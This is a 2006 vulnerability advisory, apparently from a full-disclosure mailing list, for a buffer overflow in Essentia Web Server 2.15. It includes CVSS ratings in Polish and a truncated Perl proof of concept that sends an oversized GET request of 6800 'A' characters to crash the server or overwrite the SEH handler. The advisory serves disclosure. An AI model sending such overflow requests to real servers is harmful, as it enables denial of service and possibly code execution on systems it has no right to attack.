Essentia Web Server 2.15 Buffer Overflow

2006.11.10
Credit: CorryL
Risk: Low
Local: Yes
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

-=[--------------------ADVISORY-------------------]=- Essentia Web Server V 2.15 Author:CorryL x0n3-h4ck.org -=[----------------------------------------------------]=- -=[+] Application: Essentia Web Server -=[+] Version: 2.15 -=[+] Vendor's URL: http://www.essencomp.com -=[+] Platform: Windows -=[+] Bug type: Buffer overflow -=[+] Exploitation: Remote -=[-] -=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~ -=[+] Reference: www.x0n3-h4ck.org -=[+] Virtual Office: http://www.kasamba.com/CorryL ..::[ Descriprion ]::.. Providing enhanced Web Application and Communication Services, this is a high performance scalable web server that supports thousands of virtual servers. ..::[ Bug ]::.. This software is affection from a buffer overflow what it would allow an attacker to perform arbitrary code on the system victim. Sending a GET+Ax6800 request, he would succeed to write above the seh point. ..::[ Proof Of Concept ]::.. #!/usr/bin/perl use IO::Socket; use Getopt::Std; getopts('h:', %args); if (defined($args{'h'})) { $host = $args{'h'}; } print STDERR "n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-n"; print STDERR "-=[ Discovered By CorryL corryl80 at gmail.com ]=-n"; print STDERR "-=[ Coded by CorryL info:www.x0n3-h4ck.org ]=-nn"; if (!defined($host)) { Usage(); } $dos = "A"x6800; print "[+] Connect to $hostn"; $socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, Proto => 'tcp'); die unless $socket; print "[+] Sending DOS byten"; $data = "GET /$dos rnrn"; ..::[ Workaround ]::.. nothing ..::[ Disclousure Timeline ]::.. [30/10/2006] - Vendor notification [04/11/2006] – No Vendor Response [04/11/2006] - Public disclousure ********************* Alice BASIC: mail, antivirus, antispam e invio allegati fino a 2 GB! Per maggiori informazioni vai su: http://adsl.alice.it/servizi/alicebasic.html -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20061104/e060dd56/attachment.html


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